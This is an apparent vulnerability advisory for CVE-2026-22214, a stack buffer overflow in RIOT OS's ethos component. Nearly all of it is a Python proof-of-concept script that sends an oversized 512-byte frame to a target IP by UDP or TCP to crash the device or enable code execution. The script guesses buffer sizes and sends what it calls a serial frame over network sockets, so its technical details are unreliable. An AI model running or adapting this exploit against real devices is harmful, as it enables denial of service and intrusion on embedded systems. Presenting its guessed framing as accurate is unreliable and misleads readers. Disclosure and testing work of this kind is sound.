CVE-2026-22214: RIOT OS ethos组件栈缓冲区溢出漏洞

#!/usr/bin/env python3 """ PoC for CVE-2026-22214: RIOT OS ethos stack-based buffer overflow This PoC demonstrates sending a crafted serial frame that exceeds buffer bounds. """ import socket import struct import time def send_crafted_frame(target_ip, target_port): """ Send a crafted frame to trigger buffer overflow in ethos _handle_char() Args: target_ip: Target RIOT OS device IP target_port: Target ethos port (typically 20000) """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) # Frame header for ethos protocol # Start delimiter frame = bytes([0x02]) # Craft payload that exceeds buffer size # Typical buffer size in ethos is around 128-256 bytes # We send significantly more to trigger overflow buffer_size = 128 overflow_size = 512 # Send 512 bytes to overflow # Frame type: data packet frame += bytes([0x00]) # Length field (big-endian) frame += struct.pack('>H', overflow_size) # Payload: send more data than buffer can hold # This will cause write past end of stack buffer frame += b'A' * overflow_size # End delimiter frame += bytes([0x03]) print(f"[*] Sending crafted frame ({len(frame)} bytes) to {target_ip}:{target_port}") print(f"[*] Buffer size: {buffer_size}, Overflow size: {overflow_size}") sock.sendto(frame, (target_ip, target_port)) print("[+] Frame sent successfully") print("[+] If vulnerable, the application may crash or allow code execution") sock.close() return True except Exception as e: print(f"[-] Error: {e}") return False def send_tcp_crafted_frame(target_ip, target_port): """ Alternative: Send crafted frame via TCP encapsulation Some ethos configurations support TCP-framed input """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((target_ip, target_port)) # Crafted frame similar to UDP version frame = bytes([0x02, 0x00]) overflow_size = 512 frame += struct.pack('>H', overflow_size) frame += b'\x41' * overflow_size # 'A' * 512 frame += bytes([0x03]) print(f"[*] Sending TCP crafted frame to {target_ip}:{target_port}") sock.send(frame) print("[+] TCP frame sent") sock.close() return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": import sys if len(sys.argv) < 3: print(f"Usage: {sys.argv[0]} <target_ip> <port>") print(f"Example: {sys.argv[0]} 192.168.1.100 20000") sys.exit(1) target_ip = sys.argv[1] target_port = int(sys.argv[2]) # Try UDP first (default ethos protocol) send_crafted_frame(target_ip, target_port) # Optionally try TCP # send_tcp_crafted_frame(target_ip, target_port)